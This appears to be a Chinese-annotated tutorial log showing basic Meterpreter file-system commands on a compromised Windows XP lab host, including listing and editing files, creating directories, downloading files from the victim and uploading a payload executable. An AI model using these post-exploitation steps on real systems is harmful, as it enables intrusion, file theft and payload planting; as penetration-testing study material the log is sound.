1、ls
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2013-04-28 05:06:49 -0400 $AVG
100777/rwxrwxrwx 0 fil 2012-03-23 23:55:53 -0400 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2012-03-23 23:55:53 -0400 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:48 -0400 Documents and Settings
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 IO.SYS
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2008-04-14 08:00:00 -0400 NTDETECT.COM
40555/r-xr-xr-x 0 dir 2013-04-28 05:08:25 -0400 Program Files
40777/rwxrwxrwx 0 dir 2013-04-28 09:27:28 -0400 RECYCLER
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:34 -0400 System Volume Information
40777/rwxrwxrwx 0 dir 2013-04-28 08:45:45 -0400 WINDOWS
100777/rwxrwxrwx 131820480 fil 2013-04-28 04:06:33 -0400 avg_free_x86_all_2013.exe
100666/rw-rw-rw- 211 fil 2012-03-23 23:51:49 -0400 boot.ini
100444/r--r--r-- 322730 fil 2008-04-14 08:00:00 -0400 bootfont.bin
100444/r--r--r-- 257728 fil 2008-04-14 08:00:00 -0400 ntldr
100666/rw-rw-rw- 805306368 fil 2013-04-28 08:45:48 -0400 pagefile.sys
100777/rwxrwxrwx 73802 fil 2013-04-28 09:28:40 -0400 payload1.exe
100666/rw-rw-rw- 17 fil 2013-04-28 09:34:24 -0400 readme.txt
40777/rwxrwxrwx 0 dir 2013-04-28 03:19:27 -0400 ruby
meterpreter >
2、pwd
meterpreter > pwd
C:\
meterpreter >
3、cat
meterpreter > cat readme.txt
There is nothing.meterpreter >
4、edit
meterpreter > edit readme.txt
vi: /opt/metasploit/common/lib/libcrypto.so.0.9.8: no version information available (required by /usr/lib/libpython2.6.so.1.0)
vi: /opt/metasploit/common/lib/libssl.so.0.9.8: no version information available (required by /usr/lib/libpython2.6.so.1.0)
There is nothing.
用法和vi相同,但是不叫vi。
meterpreter > vi readme.txt
[-] Unknown command: vi.
保存后,结果;
"/tmp/meterp20130428-3310-snqagf" 2L, 38C written
[-] Error running command edit: NoMethodError undefined method `close' for "/tmp/meterp20130428-3310-snqagf":String
meterpreter > cat readme.txt
There is nothing.
There is something.
meterpreter >
5、lpwd
meterpreter > lpwd
/root
6、mkdir
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2013-04-28 05:06:49 -0400 $AVG
100777/rwxrwxrwx 0 fil 2012-03-23 23:55:53 -0400 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2012-03-23 23:55:53 -0400 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:48 -0400 Documents and Settings
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 IO.SYS
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2008-04-14 08:00:00 -0400 NTDETECT.COM
40555/r-xr-xr-x 0 dir 2013-04-28 05:08:25 -0400 Program Files
40777/rwxrwxrwx 0 dir 2013-04-28 09:27:28 -0400 RECYCLER
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:34 -0400 System Volume Information
40777/rwxrwxrwx 0 dir 2013-04-28 08:45:45 -0400 WINDOWS
100777/rwxrwxrwx 131820480 fil 2013-04-28 04:06:33 -0400 avg_free_x86_all_2013.exe
100666/rw-rw-rw- 211 fil 2012-03-23 23:51:49 -0400 boot.ini
100444/r--r--r-- 322730 fil 2008-04-14 08:00:00 -0400 bootfont.bin
100444/r--r--r-- 257728 fil 2008-04-14 08:00:00 -0400 ntldr
100666/rw-rw-rw- 805306368 fil 2013-04-28 08:45:48 -0400 pagefile.sys
100777/rwxrwxrwx 73802 fil 2013-04-28 09:28:40 -0400 payload1.exe
100666/rw-rw-rw- 38 fil 2013-04-28 09:37:16 -0400 readme.txt
40777/rwxrwxrwx 0 dir 2013-04-28 03:19:27 -0400 ruby
meterpreter > mkdir newdir
Creating directory: newdir
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2013-04-28 05:06:49 -0400 $AVG
100777/rwxrwxrwx 0 fil 2012-03-23 23:55:53 -0400 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2012-03-23 23:55:53 -0400 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:48 -0400 Documents and Settings
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 IO.SYS
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2008-04-14 08:00:00 -0400 NTDETECT.COM
40555/r-xr-xr-x 0 dir 2013-04-28 05:08:25 -0400 Program Files
40777/rwxrwxrwx 0 dir 2013-04-28 09:27:28 -0400 RECYCLER
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:34 -0400 System Volume Information
40777/rwxrwxrwx 0 dir 2013-04-28 08:45:45 -0400 WINDOWS
100777/rwxrwxrwx 131820480 fil 2013-04-28 04:06:33 -0400 avg_free_x86_all_2013.exe
100666/rw-rw-rw- 211 fil 2012-03-23 23:51:49 -0400 boot.ini
100444/r--r--r-- 322730 fil 2008-04-14 08:00:00 -0400 bootfont.bin
40777/rwxrwxrwx 0 dir 2013-04-28 09:42:49 -0400 newdir
100444/r--r--r-- 257728 fil 2008-04-14 08:00:00 -0400 ntldr
100666/rw-rw-rw- 805306368 fil 2013-04-28 08:45:48 -0400 pagefile.sys
100777/rwxrwxrwx 73802 fil 2013-04-28 09:28:40 -0400 payload1.exe
100666/rw-rw-rw- 38 fil 2013-04-28 09:37:16 -0400 readme.txt
40777/rwxrwxrwx 0 dir 2013-04-28 03:19:27 -0400 ruby
meterpreter >
7、rmdir
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2013-04-28 05:06:49 -0400 $AVG
100777/rwxrwxrwx 0 fil 2012-03-23 23:55:53 -0400 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2012-03-23 23:55:53 -0400 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:48 -0400 Documents and Settings
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 IO.SYS
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2008-04-14 08:00:00 -0400 NTDETECT.COM
40555/r-xr-xr-x 0 dir 2013-04-28 05:08:25 -0400 Program Files
40777/rwxrwxrwx 0 dir 2013-04-28 09:27:28 -0400 RECYCLER
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:34 -0400 System Volume Information
40777/rwxrwxrwx 0 dir 2013-04-28 08:45:45 -0400 WINDOWS
100777/rwxrwxrwx 131820480 fil 2013-04-28 04:06:33 -0400 avg_free_x86_all_2013.exe
100666/rw-rw-rw- 211 fil 2012-03-23 23:51:49 -0400 boot.ini
100444/r--r--r-- 322730 fil 2008-04-14 08:00:00 -0400 bootfont.bin
40777/rwxrwxrwx 0 dir 2013-04-28 09:42:49 -0400 newdir
100444/r--r--r-- 257728 fil 2008-04-14 08:00:00 -0400 ntldr
100666/rw-rw-rw- 805306368 fil 2013-04-28 08:45:48 -0400 pagefile.sys
100777/rwxrwxrwx 73802 fil 2013-04-28 09:28:40 -0400 payload1.exe
100666/rw-rw-rw- 38 fil 2013-04-28 09:37:16 -0400 readme.txt
40777/rwxrwxrwx 0 dir 2013-04-28 03:19:27 -0400 ruby
meterpreter > rmdir newdir
Removing directory: newdir
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2013-04-28 05:06:49 -0400 $AVG
100777/rwxrwxrwx 0 fil 2012-03-23 23:55:53 -0400 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2012-03-23 23:55:53 -0400 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:48 -0400 Documents and Settings
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 IO.SYS
100444/r--r--r-- 0 fil 2012-03-23 23:55:53 -0400 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2008-04-14 08:00:00 -0400 NTDETECT.COM
40555/r-xr-xr-x 0 dir 2013-04-28 05:08:25 -0400 Program Files
40777/rwxrwxrwx 0 dir 2013-04-28 09:27:28 -0400 RECYCLER
40777/rwxrwxrwx 0 dir 2012-03-23 23:59:34 -0400 System Volume Information
40777/rwxrwxrwx 0 dir 2013-04-28 08:45:45 -0400 WINDOWS
100777/rwxrwxrwx 131820480 fil 2013-04-28 04:06:33 -0400 avg_free_x86_all_2013.exe
100666/rw-rw-rw- 211 fil 2012-03-23 23:51:49 -0400 boot.ini
100444/r--r--r-- 322730 fil 2008-04-14 08:00:00 -0400 bootfont.bin
100444/r--r--r-- 257728 fil 2008-04-14 08:00:00 -0400 ntldr
100666/rw-rw-rw- 805306368 fil 2013-04-28 08:45:48 -0400 pagefile.sys
100777/rwxrwxrwx 73802 fil 2013-04-28 09:28:40 -0400 payload1.exe
100666/rw-rw-rw- 38 fil 2013-04-28 09:37:16 -0400 readme.txt
40777/rwxrwxrwx 0 dir 2013-04-28 03:19:27 -0400 ruby
meterpreter >
8、download
meterpreter > download readme.txt
[*] downloading: readme.txt -> readme.txt
[*] downloaded : readme.txt -> readme.txt
meterpreter >
刚才看到是在/root目录,所以,文件会下载到/root目录
或者:
meterpreter > download c:\\readme.txt /tmp/
[*] downloading: c:\readme.txt -> /tmp//readme.txt
[*] downloaded : c:\readme.txt -> /tmp//readme.txt
meterpreter >
9、upload
meterpreter > upload payload1.exe
[*] uploading : payload1.exe -> payload1.exe
[*] uploaded : payload1.exe -> payload1.exe
meterpreter >